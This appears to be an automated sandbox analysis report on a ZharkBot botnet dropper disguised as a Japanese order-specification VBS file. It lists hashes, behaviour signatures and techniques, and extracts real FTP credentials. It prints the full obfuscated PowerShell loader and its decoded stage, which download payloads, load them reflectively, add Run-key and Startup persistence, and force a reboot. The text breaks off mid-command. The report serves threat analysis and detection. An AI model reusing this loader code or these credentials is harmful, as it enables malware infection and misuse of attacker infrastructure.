zharkbot | 55b6b8489894a7769451a1a45f5662ae2e0f9f1057077643c15699aa43d39eed

General

Target

注文仕様書.vbs
Size

562KB
MD5

5548cba2f4acdafa93152fcec4f27ac8
SHA1

fc3227f824be04c73fa9e864f5bf34676bbcad8c
SHA256

55b6b8489894a7769451a1a45f5662ae2e0f9f1057077643c15699aa43d39eed
SHA512

5fbed2a9a76a798cb057b61a1b895e72da32d93954f368be1b29a89d77e4a8b1e480675b53b95626f04ce937875c716bbd1d6072ebe27e7a2bd3fbf149f3aacf
SSDEEP

1536:kmmmmmmmmmmmmmmmmmmyFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1:k5oTl

Score

10^/10

zharkbot botnet defense_evasion discovery execution persistence

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=

Extracted

Credentials

Protocol: ftp
Host:
ftp.desckvbrat.com.br
Port:
21
Username:
desckvbrat1
Password:
developerpro21578Jp@@

Signatures

Detects ZharkBot payload 3 IoCs

ZharkBot is a botnet written C++.

resource	yara_rule
behavioral2/memory/2172-79-0x0000000000400000-0x0000000000454000-memory.dmp	zharkcore
behavioral2/memory/2172-83-0x0000000000400000-0x0000000000454000-memory.dmp	zharkcore
behavioral2/memory/2172-81-0x0000000000400000-0x0000000000454000-memory.dmp	zharkcore

ZharkBot
ZharkBot is a botnet written C++.
botnet zharkbot

Blocklisted process makes network request 7 IoCs

flow	pid	Process
10	2312	powershell.exe
12	2312	powershell.exe
14	2312	powershell.exe
16	2312	powershell.exe
18	2312	powershell.exe
19	2312	powershell.exe
22	1400	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2936	powershell.exe
2520	powershell.exe
952	powershell.exe
2312	powershell.exe
1896	powershell.exe
1400	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update Drivers NVIDEO_uws = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman \". 'C:\\Users\\Admin\\AppData\\Local\\Microsoft\\LocalLow\\System Update\\ftbau.ps1' \";exit"	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
21	pastebin.com
22	pastebin.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1400 set thread context of 2172	1400	powershell.exe	98

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3100	2172	WerFault.exe	98

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
952	powershell.exe
952	powershell.exe
2312	powershell.exe
2312	powershell.exe
2312	powershell.exe
2520	powershell.exe
2936	powershell.exe
2520	powershell.exe
2936	powershell.exe
1896	powershell.exe
1896	powershell.exe
1400	powershell.exe
1400	powershell.exe
1400	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	952	powershell.exe
Token: SeDebugPrivilege	2312	powershell.exe
Token: SeDebugPrivilege	2936	powershell.exe
Token: SeDebugPrivilege	2520	powershell.exe
Token: SeDebugPrivilege	1896	powershell.exe
Token: SeDebugPrivilege	1400	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 1848 wrote to memory of 952	1848	WScript.exe	82
PID 1848 wrote to memory of 952	1848	WScript.exe	82
PID 952 wrote to memory of 2312	952	powershell.exe	84
PID 952 wrote to memory of 2312	952	powershell.exe	84
PID 2312 wrote to memory of 2936	2312	powershell.exe	89
PID 2312 wrote to memory of 2936	2312	powershell.exe	89
PID 2312 wrote to memory of 2520	2312	powershell.exe	90
PID 2312 wrote to memory of 2520	2312	powershell.exe	90
PID 2312 wrote to memory of 3644	2312	powershell.exe	91
PID 2312 wrote to memory of 3644	2312	powershell.exe	91
PID 2312 wrote to memory of 1896	2312	powershell.exe	92
PID 2312 wrote to memory of 1896	2312	powershell.exe	92
PID 2312 wrote to memory of 1400	2312	powershell.exe	94
PID 2312 wrote to memory of 1400	2312	powershell.exe	94
PID 2312 wrote to memory of 4996	2312	powershell.exe	95
PID 2312 wrote to memory of 4996	2312	powershell.exe	95
PID 1400 wrote to memory of 2172	1400	powershell.exe	98
PID 1400 wrote to memory of 2172	1400	powershell.exe	98
PID 1400 wrote to memory of 2172	1400	powershell.exe	98
PID 1400 wrote to memory of 2172	1400	powershell.exe	98
PID 1400 wrote to memory of 2172	1400	powershell.exe	98
PID 1400 wrote to memory of 2172	1400	powershell.exe	98
PID 1400 wrote to memory of 2172	1400	powershell.exe	98
PID 1400 wrote to memory of 2172	1400	powershell.exe	98
PID 1400 wrote to memory of 2172	1400	powershell.exe	98

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\注文仕様書.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 'OwB9ҼмẦDsҼмẦKQҼмẦgҼмẦCkҼмẦIҼмẦҼмẦnҼмẦGUҼмẦdQByҼмẦHQҼмẦJwҼмẦgҼмẦCwҼмẦIҼмẦBYҼмẦFҼмẦҼмẦVQB1ҼмẦGgҼмẦJҼмẦҼмẦgҼмẦCwҼмẦIҼмẦҼмẦnҼмẦGgҼмẦdҼмẦB0ҼмẦHҼмẦҼмẦcwҼмẦ6ҼмẦC8ҼмẦLwBlҼмẦHYҼмẦaQByҼмẦHQҼмẦdQBhҼмẦGwҼмẦcwBlҼмẦHIҼмẦdgBpҼмẦGMҼмẦZQBzҼмẦHIҼмẦZQB2ҼмẦGkҼмẦZQB3ҼмẦHMҼмẦLgBjҼмẦG8ҼмẦbQҼмẦvҼмẦHcҼмẦcҼмẦҼмẦtҼмẦGkҼмẦbgBjҼмẦGwҼмẦdQBkҼмẦGUҼмẦcwҼмẦvҼмẦGMҼмẦcwBzҼмẦC8ҼмẦagBwҼмẦC4ҼмẦdҼмẦB4ҼмẦHQҼмẦJwҼмẦgҼмẦCgҼмẦIҼмẦBdҼмẦF0ҼмẦWwB0ҼмẦGMҼмẦZQBqҼмẦGIҼмẦbwBbҼмẦCҼмẦҼмẦLҼмẦҼмẦgҼмẦGwҼмẦbҼмẦB1ҼмẦG4ҼмẦJҼмẦҼмẦgҼмẦCgҼмẦZQBrҼмẦG8ҼмẦdgBuҼмẦEkҼмẦLgҼмẦpҼмẦCҼмẦҼмẦJwBJҼмẦFYҼмẦRgByҼмẦHҼмẦҼмẦJwҼмẦgҼмẦCgҼмẦZҼмẦBvҼмẦGgҼмẦdҼмẦBlҼмẦE0ҼмẦdҼмẦBlҼмẦEcҼмẦLgҼмẦpҼмẦCcҼмẦMQBzҼмẦHMҼмẦYQBsҼмẦEMҼмẦLgҼмẦzҼмẦHkҼмẦcgBhҼмẦHIҼмẦYgBpҼмẦEwҼмẦcwBzҼмẦGEҼмẦbҼмẦBDҼмẦCcҼмẦKҼмẦBlҼмẦHҼмẦҼмẦeQBUҼмẦHQҼмẦZQBHҼмẦC4ҼмẦKQҼмẦgҼмẦFoҼмẦYwBCҼмẦGMҼмẦYQҼмẦkҼмẦCҼмẦҼмẦKҼмẦBkҼмẦGEҼмẦbwBMҼмẦC4ҼмẦbgBpҼмẦGEҼмẦbQBvҼмẦEQҼмẦdҼмẦBuҼмẦGUҼмẦcgByҼмẦHUҼмẦQwҼмẦ6ҼмẦDoҼмẦXQBuҼмẦGkҼмẦYQBtҼмẦG8ҼмẦRҼмẦBwҼмẦHҼмẦҼмẦQQҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦOwҼмẦpҼмẦCҼмẦҼмẦKQҼмẦgҼмẦCcҼмẦQQҼмẦnҼмẦCҼмẦҼмẦLҼмẦҼмẦgҼмẦCcҼмẦkyE6ҼмẦJMhJwҼмẦgҼмẦCgҼмẦZQBjҼмẦGEҼмẦbҼмẦBwҼмẦGUҼмẦUgҼмẦuҼмẦGcҼмẦUwB6ҼмẦEMҼмẦQgBsҼмẦCQҼмẦIҼмẦҼмẦoҼмẦGcҼмẦbgBpҼмẦHIҼмẦdҼмẦBTҼмẦDQҼмẦNgBlҼмẦHMҼмẦYQBCҼмẦG0ҼмẦbwByҼмẦEYҼмẦOgҼмẦ6ҼмẦF0ҼмẦdҼмẦByҼмẦGUҼмẦdgBuҼмẦG8ҼмẦQwҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦWgBjҼмẦEIҼмẦYwBhҼмẦCQҼмẦIҼмẦBdҼмẦF0ҼмẦWwBlҼмẦHQҼмẦeQBCҼмẦFsҼмẦOwҼмẦnҼмẦCUҼмẦSQBoҼмẦHEҼмẦUgBYҼмẦCUҼмẦJwҼмẦgҼмẦD0ҼмẦIҼмẦBYҼмẦFҼмẦҼмẦVQB1ҼмẦGgҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦIҼмẦBnҼмẦFMҼмẦegBDҼмẦEIҼмẦbҼмẦҼмẦkҼмẦCҼмẦҼмẦKҼмẦBnҼмẦG4ҼмẦaQByҼмẦHQҼмẦUwBkҼмẦGEҼмẦbwBsҼмẦG4ҼмẦdwBvҼмẦEQҼмẦLgB1ҼмẦHkҼмẦYwBmҼмẦCQҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBTҼмẦHoҼмẦQwBCҼмẦGwҼмẦJҼмẦҼмẦ7ҼмẦDgҼмẦRgBUҼмẦFUҼмẦOgҼмẦ6ҼмẦF0ҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦdҼмẦB4ҼмẦGUҼмẦVҼмẦҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦdQB5ҼмẦGMҼмẦZgҼмẦkҼмẦDsҼмẦKQB0ҼмẦG4ҼмẦZQBpҼмẦGwҼмẦQwBiҼмẦGUҼмẦVwҼмẦuҼмẦHQҼмẦZQBOҼмẦCҼмẦҼмẦdҼмẦBjҼмẦGUҼмẦagBiҼмẦE8ҼмẦLQB3ҼмẦGUҼмẦTgҼмẦoҼмẦCҼмẦҼмẦPQҼмẦgҼмẦHUҼмẦeQBjҼмẦGYҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦKҼмẦBlҼмẦHMҼмẦbwBwҼмẦHMҼмẦaQBkҼмẦC4ҼмẦdQB5ҼмẦGMҼмẦZgҼмẦkҼмẦDsҼмẦKQҼмẦgҼмẦCcҼмẦdҼмẦB4ҼмẦHQҼмẦLgҼмẦxҼмẦDҼмẦҼмẦTҼмẦBMҼмẦEQҼмẦLwҼмẦxҼмẦDҼмẦҼмẦLwByҼмẦGUҼмẦdҼмẦBwҼмẦHkҼмẦcgBjҼмẦHҼмẦҼмẦVQҼмẦvҼмẦHIҼмẦYgҼмẦuҼмẦG0ҼмẦbwBjҼмẦC4ҼмẦdҼмẦBhҼмẦHIҼмẦYgB2ҼмẦGsҼмẦYwBzҼмẦGUҼмẦZҼмẦҼмẦuҼмẦHҼмẦҼмẦdҼмẦBmҼмẦEҼмẦҼмẦMQB0ҼмẦGEҼмẦcgBiҼмẦHYҼмẦawBjҼмẦHMҼмẦZQBkҼмẦC8ҼмẦLwҼмẦ6ҼмẦHҼмẦҼмẦdҼмẦBmҼмẦCcҼмẦIҼмẦҼмẦoҼмẦGcҼмẦbgBpҼмẦHIҼмẦdҼмẦBTҼмẦGQҼмẦYQBvҼмẦGwҼмẦbgB3ҼмẦG8ҼмẦRҼмẦҼмẦuҼмẦHUҼмẦeQBjҼмẦGYҼмẦJҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦBnҼмẦFMҼмẦegBDҼмẦEIҼмẦbҼмẦҼмẦkҼмẦDsҼмẦKQҼмẦnҼмẦEҼмẦҼмẦQҼмẦBwҼмẦEoҼмẦOҼмẦҼмẦ3ҼмẦDUҼмẦMQҼмẦyҼмẦG8ҼмẦcgBwҼмẦHIҼмẦZQBwҼмẦG8ҼмẦbҼмẦBlҼмẦHYҼмẦZQBkҼмẦCcҼмẦLҼмẦҼмẦpҼмẦCkҼмẦOQҼмẦ0ҼмẦCwҼмẦNgҼмẦxҼмẦDEҼмẦLҼмẦҼмẦ3ҼмẦDkҼмẦLҼмẦҼмẦ0ҼмẦDEҼмẦMQҼмẦsҼмẦDgҼмẦOQҼмẦsҼмẦDgҼмẦMQҼмẦxҼмẦCwҼмẦNwҼмẦwҼмẦDEҼмẦLҼмẦҼмẦ5ҼмẦDkҼмẦLҼмẦҼмẦ1ҼмẦDEҼмẦMQҼмẦsҼмẦDEҼмẦMҼмẦҼмẦxҼмẦCwҼмẦMҼмẦҼмẦwҼмẦDEҼмẦKҼмẦBdҼмẦF0ҼмẦWwByҼмẦGEҼмẦaҼмẦBjҼмẦFsҼмẦIҼмẦBuҼмẦGkҼмẦbwBqҼмẦC0ҼмẦKҼмẦҼмẦoҼмẦGwҼмẦYQBpҼмẦHQҼмẦbgBlҼмẦGQҼмẦZQByҼмẦEMҼмẦawByҼмẦG8ҼмẦdwB0ҼмẦGUҼмẦTgҼмẦuҼмẦHQҼмẦZQBOҼмẦC4ҼмẦbQBlҼмẦHQҼмẦcwB5ҼмẦFMҼмẦIҼмẦB0ҼмẦGMҼмẦZQBqҼмẦGIҼмẦbwҼмẦtҼмẦHcҼмẦZQBuҼмẦCҼмẦҼмẦPQҼмẦgҼмẦHMҼмẦbҼмẦBhҼмẦGkҼмẦdҼмẦBuҼмẦGUҼмẦZҼмẦBlҼмẦHIҼмẦQwҼмẦuҼмẦHUҼмẦeQBjҼмẦGYҼмẦJҼмẦҼмẦ7ҼмẦDgҼмẦRgBUҼмẦFUҼмẦOgҼмẦ6ҼмẦF0ҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦdҼмẦB4ҼмẦGUҼмẦVҼмẦҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦdQB5ҼмẦGMҼмẦZgҼмẦkҼмẦDsҼмẦKQB0ҼмẦG4ҼмẦZQBpҼмẦGwҼмẦQwBiҼмẦGUҼмẦVwҼмẦuҼмẦHQҼмẦZQBOҼмẦCҼмẦҼмẦdҼмẦBjҼмẦGUҼмẦagBiҼмẦE8ҼмẦLQB3ҼмẦGUҼмẦTgҼмẦoҼмẦCҼмẦҼмẦPQҼмẦgҼмẦHUҼмẦeQBjҼмẦGYҼмẦJҼмẦҼмẦ7ҼмẦGcҼмẦUwB6ҼмẦEMҼмẦQgBsҼмẦCQҼмẦOwҼмẦyҼмẦDEҼмẦcwBsҼмẦFQҼмẦOgҼмẦ6ҼмẦF0ҼмẦZQBwҼмẦHkҼмẦVҼмẦBsҼмẦG8ҼмẦYwBvҼмẦHQҼмẦbwByҼмẦFҼмẦҼмẦeQB0ҼмẦGkҼмẦcgB1ҼмẦGMҼмẦZQBTҼмẦC4ҼмẦdҼмẦBlҼмẦE4ҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGwҼмẦbwBjҼмẦG8ҼмẦdҼмẦBvҼмẦHIҼмẦUҼмẦB5ҼмẦHQҼмẦaQByҼмẦHUҼмẦYwBlҼмẦFMҼмẦOgҼмẦ6ҼмẦF0ҼмẦcgBlҼмẦGcҼмẦYQBuҼмẦGEҼмẦTQB0ҼмẦG4ҼмẦaQBvҼмẦFҼмẦҼмẦZQBjҼмẦGkҼмẦdgByҼмẦGUҼмẦUwҼмẦuҼмẦHQҼмẦZQBOҼмẦC4ҼмẦbQBlҼмẦHQҼмẦcwB5ҼмẦFMҼмẦWwҼмẦ7ҼмẦH0ҼмẦZQB1ҼмẦHIҼмẦdҼмẦҼмẦkҼмẦHsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦawBjҼмẦGEҼмẦYgBsҼмẦGwҼмẦYQBDҼмẦG4ҼмẦbwBpҼмẦHQҼмẦYQBkҼмẦGkҼмẦbҼмẦBhҼмẦFYҼмẦZQB0ҼмẦGEҼмẦYwBpҼмẦGYҼмẦaQB0ҼмẦHIҼмẦZQBDҼмẦHIҼмẦZQB2ҼмẦHIҼмẦZQBTҼмẦDoҼмẦOgBdҼмẦHIҼмẦZQBnҼмẦGEҼмẦbgBhҼмẦE0ҼмẦdҼмẦBuҼмẦGkҼмẦbwBQҼмẦGUҼмẦYwBpҼмẦHYҼмẦcgBlҼмẦFMҼмẦLgB0ҼмẦGUҼмẦTgҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦewҼмẦgҼмẦGUҼмẦcwBsҼмẦGUҼмẦfQҼмẦgҼмẦGYҼмẦLwҼмẦgҼмẦDҼмẦҼмẦIҼмẦB0ҼмẦC8ҼмẦIҼмẦByҼмẦC8ҼмẦIҼмẦBlҼмẦHgҼмẦZQҼмẦuҼмẦG4ҼмẦdwBvҼмẦGQҼмẦdҼмẦB1ҼмẦGgҼмẦcwҼмẦgҼмẦDsҼмẦJwҼмẦwҼмẦDgҼмẦMQҼмẦgҼмẦHҼмẦҼмẦZQBlҼмẦGwҼмẦcwҼмẦnҼмẦCҼмẦҼмẦZҼмẦBuҼмẦGEҼмẦbQBtҼмẦG8ҼмẦYwҼмẦtҼмẦCҼмẦҼмẦZQB4ҼмẦGUҼмẦLgBsҼмẦGwҼмẦZQBoҼмẦHMҼмẦcgBlҼмẦHcҼмẦbwBwҼмẦDsҼмẦIҼмẦBlҼмẦGMҼмẦcgBvҼмẦGYҼмẦLQҼмẦgҼмẦCkҼмẦIҼмẦҼмẦnҼмẦHҼмẦҼмẦdQB0ҼмẦHIҼмẦYQB0ҼмẦFMҼмẦXҼмẦBzҼмẦG0ҼмẦYQByҼмẦGcҼмẦbwByҼмẦFҼмẦҼмẦXҼмẦB1ҼмẦG4ҼмẦZQBNҼмẦCҼмẦҼмẦdҼмẦByҼмẦGEҼмẦdҼмẦBTҼмẦFwҼмẦcwB3ҼмẦG8ҼмẦZҼмẦBuҼмẦGkҼмẦVwBcҼмẦHQҼмẦZgBvҼмẦHMҼмẦbwByҼмẦGMҼмẦaQBNҼмẦFwҼмẦZwBuҼмẦGkҼмẦbQBhҼмẦG8ҼмẦUgBcҼмẦGEҼмẦdҼмẦBhҼмẦEQҼмẦcҼмẦBwҼмẦEEҼмẦXҼмẦҼмẦnҼмẦCҼмẦҼмẦKwҼмẦgҼмẦFoҼмẦSwBuҼмẦFkҼмẦTQҼмẦkҼмẦCҼмẦҼмẦKҼмẦҼмẦgҼмẦG4ҼмẦbwBpҼмẦHQҼмẦYQBuҼмẦGkҼмẦdҼмẦBzҼмẦGUҼмẦRҼмẦҼмẦtҼмẦCҼмẦҼмẦJwҼмẦlҼмẦEkҼмẦaҼмẦBxҼмẦFIҼмẦWҼмẦҼмẦlҼмẦCcҼмẦIҼмẦBtҼмẦGUҼмẦdҼмẦBJҼмẦC0ҼмẦeQBwҼмẦG8ҼмẦQwҼмẦgҼмẦDsҼмẦIҼмẦB0ҼмẦHIҼмẦYQB0ҼмẦHMҼмẦZQByҼмẦG8ҼмẦbgҼмẦvҼмẦCҼмẦҼмẦdҼмẦBlҼмẦGkҼмẦdQBxҼмẦC8ҼмẦIҼмẦBHҼмẦGMҼмẦVwBpҼмẦFIҼмẦIҼмẦBlҼмẦHgҼмẦZQҼмẦuҼмẦGEҼмẦcwB1ҼмẦHcҼмẦIҼмẦBlҼмẦHgҼмẦZQҼмẦuҼмẦGwҼмẦbҼмẦBlҼмẦGgҼмẦcwByҼмẦGUҼмẦdwBvҼмẦHҼмẦҼмẦIҼмẦҼмẦ7ҼмẦCkҼмẦJwB1ҼмẦHMҼмẦbQҼмẦuҼмẦG4ҼмẦaQB3ҼмẦHҼмẦҼмẦVQBcҼмẦCcҼмẦIҼмẦҼмẦrҼмẦCҼмẦҼмẦTgBKҼмẦFQҼмẦeҼмẦBEҼмẦCQҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦBHҼмẦGMҼмẦVwBpҼмẦFIҼмẦOwҼмẦpҼмẦCҼмẦҼмẦZQBtҼмẦGEҼмẦTgByҼмẦGUҼмẦcwBVҼмẦDoҼмẦOgBdҼмẦHQҼмẦbgBlҼмẦG0ҼмẦbgBvҼмẦHIҼмẦaQB2ҼмẦG4ҼмẦRQBbҼмẦCҼмẦҼмẦKwҼмẦgҼмẦCcҼмẦXҼмẦBzҼмẦHIҼмẦZQBzҼмẦFUҼмẦXҼмẦҼмẦ6ҼмẦEMҼмẦJwҼмẦoҼмẦCҼмẦҼмẦPQҼмẦgҼмẦFoҼмẦSwBuҼмẦFkҼмẦTQҼмẦkҼмẦDsҼмẦKQҼмẦnҼмẦHUҼмẦcwBtҼмẦC4ҼмẦbgBpҼмẦHcҼмẦcҼмẦBVҼмẦFwҼмẦJwҼмẦgҼмẦCsҼмẦIҼмẦBOҼмẦEoҼмẦVҼмẦB4ҼмẦEQҼмẦJҼмẦҼмẦgҼмẦCwҼмẦQgBLҼмẦEwҼмẦUgBVҼмẦCQҼмẦKҼмẦBlҼмẦGwҼмẦaQBGҼмẦGQҼмẦYQBvҼмẦGwҼмẦbgB3ҼмẦG8ҼмẦRҼмẦҼмẦuҼмẦHMҼмẦdҼмẦBtҼмẦG8ҼмẦbwҼмẦkҼмẦDsҼмẦOҼмẦBGҼмẦFQҼмẦVQҼмẦ6ҼмẦDoҼмẦXQBnҼмẦG4ҼмẦaQBkҼмẦG8ҼмẦYwBuҼмẦEUҼмẦLgB0ҼмẦHgҼмẦZQBUҼмẦC4ҼмẦbQBlҼмẦHQҼмẦcwB5ҼмẦFMҼмẦWwҼмẦgҼмẦD0ҼмẦIҼмẦBnҼмẦG4ҼмẦaQBkҼмẦG8ҼмẦYwBuҼмẦEUҼмẦLgBzҼмẦHQҼмẦbQBvҼмẦG8ҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦdҼмẦBuҼмẦGUҼмẦaQBsҼмẦEMҼмẦYgBlҼмẦFcҼмẦLgB0ҼмẦGUҼмẦTgҼмẦgҼмẦHQҼмẦYwBlҼмẦGoҼмẦYgBPҼмẦC0ҼмẦdwBlҼмẦE4ҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦBzҼмẦHQҼмẦbQBvҼмẦG8ҼмẦJҼмẦҼмẦ7ҼмẦH0ҼмẦOwҼмẦgҼмẦCkҼмẦJwB0ҼмẦE8ҼмẦTҼмẦBjҼмẦF8ҼмẦSwBhҼмẦDMҼмẦWgBmҼмẦG8ҼмẦWҼмẦҼмẦyҼмẦEoҼмẦSgByҼмẦFYҼмẦaҼмẦBtҼмẦFYҼмẦOQBjҼмẦG0ҼмẦOQBYҼмẦHMҼмẦdQBYҼмẦG0ҼмẦagҼмẦxҼмẦGcҼмẦMQҼмẦnҼмẦCҼмẦҼмẦKwҼмẦgҼмẦG8ҼмẦeҼмẦBLҼмẦFUҼмẦZwҼмẦkҼмẦCgҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦbwB4ҼмẦEsҼмẦVQBnҼмẦCQҼмẦewҼмẦgҼмẦGUҼмẦcwBsҼмẦGUҼмẦfQҼмẦ7ҼмẦCҼмẦҼмẦKQҼмẦnҼмẦDIҼмẦNҼмẦB1ҼмẦFgҼмẦSgBUҼмẦHEҼмẦYQBtҼмẦGcҼмẦeQBNҼмẦHQҼмẦRgB6ҼмẦGEҼмẦawBQҼмẦFIҼмẦMQBxҼмẦF8ҼмẦSQB2ҼмẦEcҼмẦaQBYҼмẦE4ҼмẦZҼмẦBxҼмẦGEҼмẦTgҼмẦxҼмẦCcҼмẦIҼмẦҼмẦrҼмẦCҼмẦҼмẦbwB4ҼмẦEsҼмẦVQBnҼмẦCQҼмẦKҼмẦҼмẦgҼмẦD0AIABvAHgASwBVAGcAJAB7ACAAKQAgAHUATgBDAFYAcQAkACAAKAAgAGYAaQA7ACAAKQAnADQANgAnACgAcwBuAGkAYQB0AG4AbwBDAC4ARQBSAFUAVABDAEUAVABJAEgAQwBSAEEAXwBSAE8AUwBTAEUAQwBPAFIAUAA6AHYAbgBlACQAIAA9ACAAdQBOAEMAVgBxACQAOwAnAD0AZABpACYAZABhAG8AbABuAHcAbwBkAD0AdAByAG8AcAB4AGUAPwBjAHUALwBtAG8AYwAuAGUAbABnAG8AbwBnAC4AZQB2AGkAcgBkAC8ALwA6AHMAcAB0AHQAaAAnACAAPQAgAG8AeABLAFUAZwAkADsAKQAgACcAdQBzAG0ALgBuAGkAdwBwAFUAXAAnACAAKwAgAE4ASgBUAHgARAAkACAAKAAgAGwAZQBkADsAKQAoAGgAdABhAFAAcABtAGUAVAB0AGUARwA6ADoAXQBoAHQAYQBQAC4ATwBJAC4AbQBlAHQAcwB5AFMAWwAgAD0AIABOAEoAVAB4AEQAJAB7ACAAKQAgAGQAdgBvAGYAWAAkACAAKAAgAGYAaQA7ACAAKQAyACgAcwBsAGEAdQBxAEUALgByAG8AagBhAE0ALgBuAG8AaQBzAHIAZQBWAC4AdABzAG8AaAAkACAAPQAgAGQAdgBvAGYAWAAkACAAOwA=';$kahlN = $qKKzc.replace('ҼмẦ' , 'A') ;$DLOWx = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $kahlN ) ); $DLOWx = $DLOWx[-1..-$DLOWx.Length] -join '';$DLOWx = $DLOWx.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\注文仕様書.vbs');powershell $DLOWx
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:952
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $Xfovd = $host.Version.Major.Equals(2) ;if ( $Xfovd ) {$DxTJN = [System.IO.Path]::GetTempPath();del ( $DxTJN + '\Upwin.msu' );$gUKxo = 'https://drive.google.com/uc?export=download&id=';$qVCNu = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $qVCNu ) {$gUKxo = ($gUKxo + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$gUKxo = ($gUKxo + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$oomts = (New-Object Net.WebClient);$oomts.Encoding = [System.Text.Encoding]::UTF8;$oomts.DownloadFile($URLKB, $DxTJN + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($DxTJN + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\注文仕様書.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$fcyu = (New-Object Net.WebClient);$fcyu.Encoding = [System.Text.Encoding]::UTF8;$fcyu.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $fcyu.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$fcyu.dispose();$fcyu = (New-Object Net.WebClient);$fcyu.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $fcyu.DownloadString( $lBCzSg );$huUPX = 'C:\Users\Admin\AppData\Local\Temp\注文仕様書.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 